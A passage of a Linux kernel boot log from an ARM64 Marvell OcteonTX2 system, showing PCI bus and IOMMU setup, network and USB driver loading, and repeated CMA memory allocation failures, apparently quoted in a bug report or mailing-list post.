> [ 2.697944] pci 0002:20:00.0: VF BAR 4 [mem 0x85f202000000-0x85f203ffffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.697949] pci 0002:20:00.0: bridge window [mem 0x9fe040000-0x9fe07ffff 64bit]: from Enhanced Allocation, properties 0x4
> [ 2.698007] pci 0002:20:00.0: VF BAR 2 [mem 0x85f202000000-0x85f281ffffff 64bit]: contains BAR 2 for 64 VFs
> [ 2.698009] pci 0002:20:00.0: VF BAR 4 [mem 0x9fe040000-0x9ff03ffff 64bit]: contains BAR 4 for 64 VFs
> [ 2.698185] pci_bus 0002:20: busn_res: [bus 20-ff] end is updated to 20
> [ 2.698201] pci 0002:00:00.0: PCI bridge to [bus 01]
> [ 2.698204] pci 0002:00:01.0: PCI bridge to [bus 02]
> [ 2.698206] pci 0002:00:02.0: PCI bridge to [bus 03]
> [ 2.698208] pci 0002:00:03.0: PCI bridge to [bus 04]
> [ 2.698210] pci 0002:00:04.0: PCI bridge to [bus 05]
> [ 2.698211] pci 0002:00:05.0: PCI bridge to [bus 06]
> [ 2.698213] pci 0002:00:06.0: PCI bridge to [bus 07]
> [ 2.698215] pci 0002:00:07.0: PCI bridge to [bus 08]
> [ 2.698217] pci 0002:00:08.0: PCI bridge to [bus 09]
> [ 2.698219] pci 0002:00:09.0: PCI bridge to [bus 0a]
> [ 2.698220] pci 0002:00:0a.0: PCI bridge to [bus 0b]
> [ 2.698222] pci 0002:00:0b.0: PCI bridge to [bus 0c]
> [ 2.698224] pci 0002:00:0c.0: PCI bridge to [bus 0d]
> [ 2.698226] pci 0002:00:0d.0: PCI bridge to [bus 0e]
> [ 2.698228] pci 0002:00:0e.0: PCI bridge to [bus 0f]
> [ 2.698230] pci 0002:00:0f.0: PCI bridge to [bus 10]
> [ 2.698232] pci 0002:00:10.0: PCI bridge to [bus 11]
> [ 2.698234] pci 0002:00:11.0: PCI bridge to [bus 12]
> [ 2.698236] pci 0002:00:12.0: PCI bridge to [bus 13]
> [ 2.698239] pci 0002:00:13.0: PCI bridge to [bus 14]
> [ 2.698241] pci 0002:00:14.0: PCI bridge to [bus 15]
> [ 2.698244] pci 0002:00:15.0: PCI bridge to [bus 16]
> [ 2.698246] pci 0002:00:16.0: PCI bridge to [bus 17]
> [ 2.698249] pci 0002:00:17.0: PCI bridge to [bus 18]
> [ 2.698251] pci 0002:00:18.0: PCI bridge to [bus 19]
> [ 2.698254] pci 0002:00:19.0: PCI bridge to [bus 1a]
> [ 2.698257] pci 0002:00:1a.0: PCI bridge to [bus 1b]
> [ 2.698260] pci 0002:00:1b.0: PCI bridge to [bus 1c]
> [ 2.698263] pci 0002:00:1c.0: PCI bridge to [bus 1d]
> [ 2.698266] pci 0002:00:1d.0: PCI bridge to [bus 1e]
> [ 2.698268] pci 0002:00:1e.0: PCI bridge to [bus 1f]
> [ 2.698271] pci 0002:00:1f.0: PCI bridge to [bus 20]
> [ 2.700295] pci-host-generic 878010000000.pci: host bridge /soc@0/pci@878010000000 ranges:
> [ 2.700302] pci-host-generic 878010000000.pci: MEM 0x868000000000..0x869fffffffff -> 0x868000000000
> [ 2.700307] pci-host-generic 878010000000.pci: MEM 0x87e0fe9c0000..0x87e0fe9cffff -> 0x87e0fe9c0000
> [ 2.700311] pci-host-generic 878010000000.pci: MEM 0x8e0000000000..0x8e003fffffff -> 0x8e0000000000
> [ 2.700316] pci-host-generic 878010000000.pci: MEM 0x8e1000000000..0x8e103fffffff -> 0x8e1000000000
> [ 2.700320] pci-host-generic 878010000000.pci: MEM 0x8e2000000000..0x8e203fffffff -> 0x8e2000000000
> [ 2.700323] pci-host-generic 878010000000.pci: MEM 0x8e3000000000..0x8e303fffffff -> 0x8e3000000000
> [ 2.700327] pci-host-generic 878010000000.pci: MEM 0x8e4000000000..0x8e403fffffff -> 0x8e4000000000
> [ 2.700331] pci-host-generic 878010000000.pci: MEM 0x8e5000000000..0x8e503fffffff -> 0x8e5000000000
> [ 2.700335] pci-host-generic 878010000000.pci: MEM 0x8e0f00000000..0x8e0f000fffff -> 0x8e0f00000000
> [ 2.700338] pci-host-generic 878010000000.pci: MEM 0x8e1f00000000..0x8e1f000fffff -> 0x8e1f00000000
> [ 2.700342] pci-host-generic 878010000000.pci: MEM 0x8e2f00000000..0x8e2f000fffff -> 0x8e2f00000000
> [ 2.700346] pci-host-generic 878010000000.pci: MEM 0x8e3f00000000..0x8e3f000fffff -> 0x8e3f00000000
> [ 2.700350] pci-host-generic 878010000000.pci: MEM 0x8e4f00000000..0x8e4f000fffff -> 0x8e4f00000000
> [ 2.700352] pci-host-generic 878010000000.pci: MEM 0x8e5f00000000..0x8e5f000fffff -> 0x8e5f00000000
> [ 2.700372] pci-host-generic 878010000000.pci: Memory resource size exceeds max for 32 bits
> [ 2.700384] pci-host-generic 878010000000.pci: ECAM at [mem 0x878010000000-0x87801fffffff] for [bus 00-ff]
> [ 2.700404] pci-host-generic 878010000000.pci: PCI host bridge to bus 0001:00
> [ 2.700406] pci_bus 0001:00: root bus resource [bus 00-ff]
> [ 2.700408] pci_bus 0001:00: root bus resource [mem 0x868000000000-0x869fffffffff]
> [ 2.700409] pci_bus 0001:00: root bus resource [mem 0x87e0fe9c0000-0x87e0fe9cffff]
> [ 2.700410] pci_bus 0001:00: root bus resource [mem 0x8e0000000000-0x8e003fffffff]
> [ 2.700412] pci_bus 0001:00: root bus resource [mem 0x8e1000000000-0x8e103fffffff]
> [ 2.700413] pci_bus 0001:00: root bus resource [mem 0x8e2000000000-0x8e203fffffff]
> [ 2.700415] pci_bus 0001:00: root bus resource [mem 0x8e3000000000-0x8e303fffffff]
> [ 2.700416] pci_bus 0001:00: root bus resource [mem 0x8e4000000000-0x8e403fffffff]
> [ 2.700418] pci_bus 0001:00: root bus resource [mem 0x8e5000000000-0x8e503fffffff]
> [ 2.700419] pci_bus 0001:00: root bus resource [mem 0x8e0f00000000-0x8e0f000fffff]
> [ 2.700420] pci_bus 0001:00: root bus resource [mem 0x8e1f00000000-0x8e1f000fffff]
> [ 2.700422] pci_bus 0001:00: root bus resource [mem 0x8e2f00000000-0x8e2f000fffff]
> [ 2.700423] pci_bus 0001:00: root bus resource [mem 0x8e3f00000000-0x8e3f000fffff]
> [ 2.700425] pci_bus 0001:00: root bus resource [mem 0x8e4f00000000-0x8e4f000fffff]
> [ 2.700426] pci_bus 0001:00: root bus resource [mem 0x8e5f00000000-0x8e5f000fffff]
> [ 2.700784] pci 0001:00:0c.0: [177d:a01b] type 00 class 0x0c0330 PCIe Root Complex Integrated Endpoint
> [ 2.700827] pci 0001:00:0c.0: BAR 0 [mem 0x868000000000-0x8680001fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.700833] pci 0001:00:0c.0: BAR 4 [mem 0x868000200000-0x8680002fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.700923] pci 0001:00:0d.0: [177d:a01b] type 00 class 0x0c0330 PCIe Root Complex Integrated Endpoint
> [ 2.700966] pci 0001:00:0d.0: BAR 0 [mem 0x869000000000-0x8690001fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.700971] pci 0001:00:0d.0: BAR 4 [mem 0x869000200000-0x8690002fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.701117] pci 0001:00:10.0: [177d:a06c] type 00 class 0x088000 PCIe Root Complex Integrated Endpoint
> [ 2.701157] pci 0001:00:10.0: BAR 0 [mem 0x8e0000000000-0x8e003fffffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.701162] pci 0001:00:10.0: BAR 4 [mem 0x8e0f00000000-0x8e0f000fffff 64bit]: from Enhanced Allocation, properties 0x0
> [ 2.751782] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
> [ 2.752513] msm_serial: driver initialized
> [ 2.752593] SuperH (H)SCI(F) driver initialized
> [ 2.752930] arm-smmu-v3 830000000000.smmu: oas 52-bit (features 0x019cd78d)
> [ 2.755654] arm-smmu-v3 830000000000.smmu: allocated 65536 entries for cmdq
> [ 2.763020] arm-smmu-v3 830000000000.smmu: allocated 32768 entries for evtq
> [ 2.776572] platform 824000000000.sdhci: Adding to iommu group 0
> [ 2.776583] platform 804000000000.spi: Adding to iommu group 1
> [ 2.776591] platform 805000000000.spi: Adding to iommu group 2
> [ 2.776599] platform 86e000000000.dpi_sdp_regs: Adding to iommu group 3
> [ 2.776610] platform 9f7c00000.pem0-bar4-mem: Adding to iommu group 4
> [ 2.776858] pci 0000:00:01.0: Adding to iommu group 5
> [ 2.776886] pci 0000:00:03.0: Adding to iommu group 6
> [ 2.776914] pci 0000:00:05.0: Adding to iommu group 7
> [ 2.776941] pci 0000:00:08.0: Adding to iommu group 8
> [ 2.776969] pci 0000:00:0a.0: Adding to iommu group 9
> [ 2.776997] pci 0000:00:0c.0: Adding to iommu group 10
> [ 2.777027] pci 0000:00:0d.0: Adding to iommu group 11
> [ 2.777054] pci 0000:00:0e.0: Adding to iommu group 12
> [ 2.777082] pci 0000:00:0f.0: Adding to iommu group 13
> [ 2.777112] pci 0000:00:10.0: Adding to iommu group 14
> [ 2.777139] pci 0000:00:11.0: Adding to iommu group 15
> [ 2.777167] pci 0000:00:14.0: Adding to iommu group 16
> [ 2.777193] pci 0000:00:1a.0: Adding to iommu group 17
> [ 2.777220] pci 0000:00:1c.0: Adding to iommu group 18
> [ 2.777248] pci 0000:00:1d.0: Adding to iommu group 19
> [ 2.777275] pci 0000:00:1e.0: Adding to iommu group 20
> [ 2.784001] pci 0000:01:00.0: Adding to iommu group 21
> [ 2.784070] pci 0000:01:01.3: Adding to iommu group 22
> [ 2.784099] pci 0000:01:01.7: Adding to iommu group 22
> [ 2.784186] pci 0000:01:0a.0: Adding to iommu group 23
> [ 2.784216] pci 0000:01:0a.1: Adding to iommu group 23
> [ 2.784246] pci 0000:01:0a.2: Adding to iommu group 23
> [ 2.784294] pci 0000:01:0c.0: Adding to iommu group 24
> [ 2.784343] pci 0000:01:0f.0: Adding to iommu group 25
> [ 2.784370] pci 0000:01:10.0: Adding to iommu group 26
> [ 2.784398] pci 0000:01:10.1: Adding to iommu group 27
> [ 2.784526] pci 0000:01:14.0: Adding to iommu group 28
> [ 2.784556] pci 0000:01:14.1: Adding to iommu group 28
> [ 2.784597] pci 0000:01:14.2: Adding to iommu group 28
> [ 2.784633] pci 0000:01:14.3: Adding to iommu group 28
> [ 2.784664] pci 0000:01:14.4: Adding to iommu group 28
> [ 2.784832] pci 0000:01:18.0: Adding to iommu group 29
> [ 2.784864] pci 0000:01:18.1: Adding to iommu group 29
> [ 2.784896] pci 0000:01:18.2: Adding to iommu group 29
> [ 2.784929] pci 0000:01:18.4: Adding to iommu group 29
> [ 2.784961] pci 0000:01:18.5: Adding to iommu group 29
> [ 2.784993] pci 0000:01:18.6: Adding to iommu group 29
> [ 2.785024] pci 0000:01:18.7: Adding to iommu group 29
> [ 2.785133] pci 0000:01:19.0: Adding to iommu group 30
> [ 2.785168] pci 0000:01:19.1: Adding to iommu group 30
> [ 2.785201] pci 0000:01:19.2: Adding to iommu group 30
> [ 2.785234] pci 0000:01:19.3: Adding to iommu group 30
> [ 2.789655] pci 0000:02:00.0: Adding to iommu group 31
> [ 2.795570] pci 0000:03:00.0: Adding to iommu group 32
> [ 2.800267] pci 0000:04:00.0: Adding to iommu group 33
> [ 2.804945] pci 0000:05:00.0: Adding to iommu group 34
> [ 2.810425] pci 0000:06:00.0: Adding to iommu group 35
> [ 2.816860] pci 0002:00:00.0: Adding to iommu group 36
> [ 2.816891] pci 0002:00:01.0: Adding to iommu group 37
> [ 2.816919] pci 0002:00:02.0: Adding to iommu group 38
> [ 2.816948] pci 0002:00:03.0: Adding to iommu group 39
> [ 2.816977] pci 0002:00:04.0: Adding to iommu group 40
> [ 2.817005] pci 0002:00:05.0: Adding to iommu group 41
> [ 2.817033] pci 0002:00:06.0: Adding to iommu group 42
> [ 2.817061] pci 0002:00:07.0: Adding to iommu group 43
> [ 2.817088] pci 0002:00:08.0: Adding to iommu group 44
> [ 2.817116] pci 0002:00:09.0: Adding to iommu group 45
> [ 2.817145] pci 0002:00:0a.0: Adding to iommu group 46
> [ 2.817172] pci 0002:00:0b.0: Adding to iommu group 47
> [ 2.817201] pci 0002:00:0c.0: Adding to iommu group 48
> [ 2.817229] pci 0002:00:0d.0: Adding to iommu group 49
> [ 2.817257] pci 0002:00:0e.0: Adding to iommu group 50
> [ 2.817285] pci 0002:00:0f.0: Adding to iommu group 51
> [ 2.817312] pci 0002:00:10.0: Adding to iommu group 52
> [ 2.817341] pci 0002:00:11.0: Adding to iommu group 53
> [ 2.817382] pci 0002:00:12.0: Adding to iommu group 54
> [ 2.817413] pci 0002:00:13.0: Adding to iommu group 55
> [ 2.817441] pci 0002:00:14.0: Adding to iommu group 56
> [ 2.817474] pci 0002:00:15.0: Adding to iommu group 57
> [ 2.817506] pci 0002:00:16.0: Adding to iommu group 58
> [ 2.817534] pci 0002:00:17.0: Adding to iommu group 59
> [ 2.817563] pci 0002:00:18.0: Adding to iommu group 60
> [ 2.817592] pci 0002:00:19.0: Adding to iommu group 61
> [ 2.817620] pci 0002:00:1a.0: Adding to iommu group 62
> [ 2.817648] pci 0002:00:1b.0: Adding to iommu group 63
> [ 2.817676] pci 0002:00:1c.0: Adding to iommu group 64
> [ 2.817704] pci 0002:00:1d.0: Adding to iommu group 65
> [ 2.817731] pci 0002:00:1e.0: Adding to iommu group 66
> [ 2.817758] pci 0002:00:1f.0: Adding to iommu group 67
> [ 2.820782] pci 0002:01:00.0: Adding to iommu group 68
> [ 2.826171] pci 0002:02:00.0: Adding to iommu group 69
> [ 2.831390] pci 0002:03:00.0: Adding to iommu group 70
> [ 2.835654] pci 0002:04:00.0: Adding to iommu group 71
> [ 2.839833] pci 0002:05:00.0: Adding to iommu group 72
> [ 2.844616] pci 0002:06:00.0: Adding to iommu group 73
> [ 2.849054] pci 0002:07:00.0: Adding to iommu group 74
> [ 2.854881] pci 0002:08:00.0: Adding to iommu group 75
> [ 2.858802] pci 0002:09:00.0: Adding to iommu group 76
> [ 2.863930] pci 0002:0a:00.0: Adding to iommu group 77
> [ 2.868371] pci 0002:0b:00.0: Adding to iommu group 78
> [ 2.874804] pci 0002:0c:00.0: Adding to iommu group 79
> [ 2.880631] pci 0002:0d:00.0: Adding to iommu group 80
> [ 2.885675] pci 0002:0e:00.0: Adding to iommu group 81
> [ 2.889853] pci 0002:0f:00.0: Adding to iommu group 82
> [ 2.893854] pci 0002:10:00.0: Adding to iommu group 83
> [ 2.900561] pci 0002:11:00.0: Adding to iommu group 84
> [ 2.907939] pci 0002:12:00.0: Adding to iommu group 85
> [ 2.913419] pci 0002:13:00.0: Adding to iommu group 86
> [ 2.917509] pci 0002:14:00.0: Adding to iommu group 87
> [ 2.922383] pci 0002:15:00.0: Adding to iommu group 88
> [ 2.929771] pci 0002:16:00.0: Adding to iommu group 89
> [ 2.934295] pci 0002:17:00.0: Adding to iommu group 90
> [ 2.938299] pci 0002:18:00.0: Adding to iommu group 91
> [ 2.944301] pci 0002:19:00.0: Adding to iommu group 92
> [ 2.952557] pci 0002:1a:00.0: Adding to iommu group 93
> [ 2.962031] pci 0002:1b:00.0: Adding to iommu group 94
> [ 2.971506] pci 0002:1c:00.0: Adding to iommu group 95
> [ 2.980984] pci 0002:1d:00.0: Adding to iommu group 96
> [ 2.990457] pci 0002:1e:00.0: Adding to iommu group 97
> [ 2.999933] pci 0002:20:00.0: Adding to iommu group 98
> [ 3.009408] pci 0001:00:0c.0: Adding to iommu group 99
> [ 3.009437] pci 0001:00:0d.0: Adding to iommu group 100
> [ 3.009464] pci 0001:00:10.0: Adding to iommu group 101
> [ 3.012624] amba 87a100060000.sh_etr: Aliasing StreamID 0x50 (from 0000:00:0a.0) unsupported, expect DMA to be broken
> [ 3.020626] loop: module loaded
> [ 3.020822] megasas: 07.734.00.00-rc1
> [ 3.022036] mdio_thunder 0000:01:01.3: Added bus at 87e005003800
> [ 3.022110] mdio_thunder 0000:01:01.3: Added bus at 87e005003880
> [ 3.022112] mdio_thunder 0000:01:01.3: Couldn't translate address for "mdio0_uio"
> [ 3.022211] tun: Universal TUN/TAP device driver, 1.6
> [ 3.022393] thunder_xcv, ver 1.0
> [ 3.022413] thunder_bgx, ver 1.0
> [ 3.022429] nicpf, ver 1.0
> [ 3.022562] e100: Intel(R) PRO/100 Network Driver
> [ 3.022563] e100: Copyright(c) 1999-2006 Intel Corporation
> [ 3.022587] e1000: Intel(R) PRO/1000 Network Driver
> [ 3.022587] e1000: Copyright (c) 1999-2006 Intel Corporation.
> [ 3.022610] e1000e: Intel(R) PRO/1000 Network Driver
> [ 3.022610] e1000e: Copyright(c) 1999 - 2015 Intel Corporation.
> [ 3.022642] igb: Intel(R) Gigabit Ethernet Network Driver
> [ 3.022643] igb: Copyright (c) 2007-2014 Intel Corporation.
> [ 3.022667] Intel(R) 2.5G Ethernet Linux Driver
> [ 3.022668] Copyright(c) 2018 Intel Corporation.
> [ 3.022686] igbvf: Intel(R) Gigabit Virtual Function Network Driver
> [ 3.022687] igbvf: Copyright (c) 2009 - 2012 Intel Corporation.
> [ 3.022703] ixgbe: Intel(R) 10 Gigabit PCI Express Network Driver
> [ 3.022704] ixgbe: Copyright (c) 1999-2016 Intel Corporation.
> [ 3.022752] ixgbevf: Intel(R) 10 Gigabit PCI Express Virtual Function Network Driver
> [ 3.022753] ixgbevf: Copyright (c) 2009 - 2024 Intel Corporation.
> [ 3.022787] i40e: Intel(R) Ethernet Connection XL710 Network Driver
> [ 3.022788] i40e: Copyright (c) 2013 - 2019 Intel Corporation.
> [ 3.022817] iavf: Intel(R) Ethernet Adaptive Virtual Function Network Driver
> [ 3.022818] Copyright (c) 2013 - 2018 Intel Corporation.
> [ 3.022835] Intel(R) Ethernet Switch Host Interface Driver
> [ 3.022836] Copyright(c) 2013 - 2019 Intel Corporation.
> [ 3.022944] sky2: driver version 1.30
> [ 3.022971] octeon_ep: Loading Marvell Octeon EndPoint NIC Driver ...
> [ 3.023009] octeon_ep: Loaded successfully !
> [ 3.023010] rvu_af: Marvell OcteonTX2 RVU Admin Function Driver
> [ 5.694846] rvu_af 0002:01:00.0: Using default mkex profile
> [ 5.837487] pci 0002:01:00.1: [177d:a0f7] type 00 class 0x020000 PCIe Endpoint
> [ 5.837621] pci 0002:01:00.1: Adding to iommu group 102
> [ 5.837722] pci 0002:01:00.2: [177d:a0f7] type 00 class 0x020000 PCIe Endpoint
> [ 5.837847] pci 0002:01:00.2: Adding to iommu group 103
> [ 5.837939] pci 0002:01:00.3: [177d:a0f7] type 00 class 0x020000 PCIe Endpoint
> [ 5.838062] pci 0002:01:00.3: Adding to iommu group 104
> [ 5.838150] pci 0002:01:00.4: [177d:a0f7] type 00 class 0x020000 PCIe Endpoint
> [ 5.838272] pci 0002:01:00.4: Adding to iommu group 105
> [ 5.838360] pci 0002:01:00.5: [177d:a0f7] type 00 class 0x020000 PCIe Endpoint
> [ 5.838481] pci 0002:01:00.5: Adding to iommu group 106
> [ 5.838561] pci 0002:01:00.6: [177d:a0f7] type 00 class 0x020000 PCIe Endpoint
> [ 5.838676] pci 0002:01:00.6: Adding to iommu group 107
> [ 5.838759] pci 0002:01:00.7: [177d:a0f7] type 00 class 0x020000 PCIe Endpoint
> [ 5.838877] pci 0002:01:00.7: Adding to iommu group 108
> [ 5.838963] pci 0002:01:01.0: [177d:a0f7] type 00 class 0x020000 PCIe Endpoint
> [ 5.839082] pci 0002:01:01.0: Adding to iommu group 109
> [ 5.839168] pci 0002:01:01.1: [177d:a0f7] type 00 class 0x020000 PCIe Endpoint
> [ 5.839291] pci 0002:01:01.1: Adding to iommu group 110
> [ 5.840078] rvu_nicpf: Marvell RVU NIC Physical Function Driver
> [ 5.904298] rvu_nicvf: Marvell RVU NIC Virtual Function Driver
> [ 5.904327] rvu_nicvf 0002:01:00.1: enabling device (0000 -> 0002)
> [ 5.918575] rvu_nicvf 0002:01:00.2: enabling device (0000 -> 0002)
> [ 5.932415] rvu_nicvf 0002:01:00.3: enabling device (0000 -> 0002)
> [ 6.012231] rvu_nicvf 0002:01:00.4: enabling device (0000 -> 0002)
> [ 6.035076] rvu_nicvf 0002:01:00.5: enabling device (0000 -> 0002)
> [ 6.056375] rvu_nicvf 0002:01:00.6: enabling device (0000 -> 0002)
> [ 6.070206] rvu_nicvf 0002:01:00.7: enabling device (0000 -> 0002)
> [ 6.150022] rvu_nicvf 0002:01:01.0: enabling device (0000 -> 0002)
> [ 6.172877] rvu_nicvf 0002:01:01.1: enabling device (0000 -> 0002)
> [ 6.395305] VFIO - User Level meta-driver version: 0.3
> [ 6.395994] xhci_hcd 0001:00:0c.0: xHCI Host Controller
> [ 6.395999] xhci_hcd 0001:00:0c.0: new USB bus registered, assigned bus number 1
> [ 6.396096] xhci_hcd 0001:00:0c.0: hcc params 0x0110ffcd hci version 0x110 quirks 0x0000000000000010
> [ 6.396216] xhci_hcd 0001:00:0c.0: xHCI Host Controller
> [ 6.396219] xhci_hcd 0001:00:0c.0: new USB bus registered, assigned bus number 2
> [ 6.396221] xhci_hcd 0001:00:0c.0: Host supports USB 3.1 Enhanced SuperSpeed
> [ 6.396341] hub 1-0:1.0: USB hub found
> [ 6.396346] hub 1-0:1.0: 1 port detected
> [ 6.396404] usb usb2: We don't know the algorithms for LPM for this host, disabling LPM.
> [ 6.396480] hub 2-0:1.0: USB hub found
> [ 6.396484] hub 2-0:1.0: 1 port detected
> [ 6.396546] xhci_hcd 0001:00:0d.0: xHCI Host Controller
> [ 6.396549] xhci_hcd 0001:00:0d.0: new USB bus registered, assigned bus number 3
> [ 6.396638] xhci_hcd 0001:00:0d.0: hcc params 0x0110ffc5 hci version 0x110 quirks 0x0000000000000010
> [ 6.396736] xhci_hcd 0001:00:0d.0: xHCI Host Controller
> [ 6.396738] xhci_hcd 0001:00:0d.0: new USB bus registered, assigned bus number 4
> [ 6.396739] xhci_hcd 0001:00:0d.0: Host supports USB 3.1 Enhanced SuperSpeed
> [ 6.396825] hub 3-0:1.0: USB hub found
> [ 6.396829] hub 3-0:1.0: 1 port detected
> [ 6.396878] usb usb4: We don't know the algorithms for LPM for this host, disabling LPM.
> [ 6.396953] hub 4-0:1.0: USB hub found
> [ 6.396956] hub 4-0:1.0: 1 port detected
> [ 6.397171] usbcore: registered new interface driver usb-storage
> [ 6.489712] i2c_dev: i2c /dev entries driver
> [ 6.536532] sbsa-gwdt 8020000a0000.watch-dog: Initialized with 10s timeout @ 1000000000 Hz, action=0.
> [ 6.536792] gti-wdt 802000040000.watchdog: Watchdog enabled (timeout=17 sec)
> [ 6.582753] sdhci: Secure Digital Host Controller Interface driver
> [ 6.582754] sdhci: Copyright(c) Pierre Ossman
> [ 6.582935] Synopsys Designware Multimedia Card Interface Driver
> [ 6.583128] sdhci-pltfm: SDHCI platform and OF driver helper
> [ 6.583495] SMCCC: SOC_ID: ID = jep106:0369:00b9 Revision = 0x00000008
> [ 6.583742] usbcore: registered new interface driver usbhid
> [ 6.583743] usbhid: USB HID core driver
> [ 6.677752] hw perfevents: enabled with armv8_pmuv3 PMU driver, 7 (0,8000003f) counters available
> [ 6.678089] optee: probing for conduit method.
> [ 6.678091] optee: api uid mismatch
> [ 6.678093] optee firmware:optee: probe with driver optee failed with error -22
> [ 6.678462] GACT probability NOT on
> [ 6.678464] Mirror/redirect action on
> [ 6.678469] netem: version 1.3
> [ 6.678828] NET: Registered PF_INET6 protocol family
> [ 6.679192] Segment Routing with IPv6
> [ 6.679199] In-situ OAM (IOAM) with IPv6
> [ 6.679220] NET: Registered PF_PACKET protocol family
> [ 6.679242] 9pnet: Installing 9P2000 support
> [ 6.679255] Key type dns_resolver registered
> [ 6.684289] registered taskstats version 1
> [ 6.684415] Loading compiled-in X.509 certificates
> [ 6.691508] Demotion targets for Node 0: null
> [ 7.057798] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 129 pages, ret: -16
> [ 7.057803] cma: number of available pages:
> [ 7.057803] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+11@2997+15@3041+7@3065+15@3329+7@3353+7@33695
> [ 7.057825] cma:
> [ 7.057826] => 2236 free of 8192 total pages
> [ 7.058866] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 129 pages, ret: -16
> [ 7.058867] cma: number of available pages:
> [ 7.058867] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+11@2997+15@3041+7@3065+15@3329+7@3353+7@33695
> [ 7.058888] cma:
> [ 7.058888] => 2236 free of 8192 total pages
> [ 7.059927] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 129 pages, ret: -16
> [ 7.059929] cma: number of available pages:
> [ 7.059929] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+11@2997+15@3041+7@3065+15@3329+7@3353+7@33695
> [ 7.059950] cma:
> [ 7.059950] => 2236 free of 8192 total pages
> [ 7.060989] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 129 pages, ret: -16
> [ 7.060990] cma: number of available pages:
> [ 7.060991] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+11@2997+15@3041+7@3065+15@3329+7@3353+7@33695
> [ 7.061011] cma:
> [ 7.061012] => 2236 free of 8192 total pages
> [ 7.104651] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 257 pages, ret: -16
> [ 7.104653] cma: number of available pages:
> [ 7.104654] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+15@3041+7@3065+15@3329+5
> [ 7.104675] cma:
> [ 7.104676] => 2230 free of 8192 total pages
> [ 7.113294] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 257 pages, ret: -16
> [ 7.113295] cma: number of available pages:
> [ 7.113296] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+15@3041+7@3065+15@3329+5
> [ 7.113318] cma:
> [ 7.113318] => 2165 free of 8192 total pages
> [ 7.123768] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 257 pages, ret: -16
> [ 7.123770] cma: number of available pages:
> [ 7.123770] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+15@3041+7@3065+15@3329+5
> [ 7.123792] cma:
> [ 7.123793] => 2132 free of 8192 total pages
> [ 7.132242] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 257 pages, ret: -16
> [ 7.132243] cma: number of available pages:
> [ 7.132244] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+15@3041+7@3065+15@3329+5
> [ 7.132267] cma:
> [ 7.132267] => 2067 free of 8192 total pages
> [ 7.142717] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 257 pages, ret: -16
> [ 7.142719] cma: number of available pages:
> [ 7.142719] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+15@3041+7@3065+15@3329+5
> [ 7.142743] cma:
> [ 7.142743] => 2034 free of 8192 total pages
> [ 7.151192] cma: __cma_alloc_frozen: reserved: alloc failed, req-size: 257 pages, ret: -16
> [ 7.151193] cma: number of available pages:
> [ 7.151193] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+15@3041+7@3065+15@3329+5
> [ 7.151217] cma:
> [ 7.151218] => 1969 free of 8192 total pages
> [ 7.161667] cma: number of available pages:
> [ 7.161668] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+15@3041+7@3065+15@3329+5
> [ 7.161693] cma:
> [ 7.161693] => 1936 free of 8192 total pages
> [ 7.170142] cma: number of available pages:
> [ 7.170142] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+15@3041+7@3065+15@3329+5
> [ 7.170167] cma:
> [ 7.170168] => 1871 free of 8192 total pages
> [ 7.218505] cma: number of available pages:
> [ 7.218506] cma: range 0: +1@2759+3@2765+3@2773+3@2781+3@2789+3@2797+3@2805+3@2813+3@2945+1@2951+3@2957+3@2965+3@2973+3@2981+3@2989+3@2997+1@3003+1@3007+15@3041+7@3065+15@3329+5
> [ 7.218533] cma:
> [ 7.218534] => 1802 free of 8192 total pages
> [ 7.219572] cma: number of available pages:
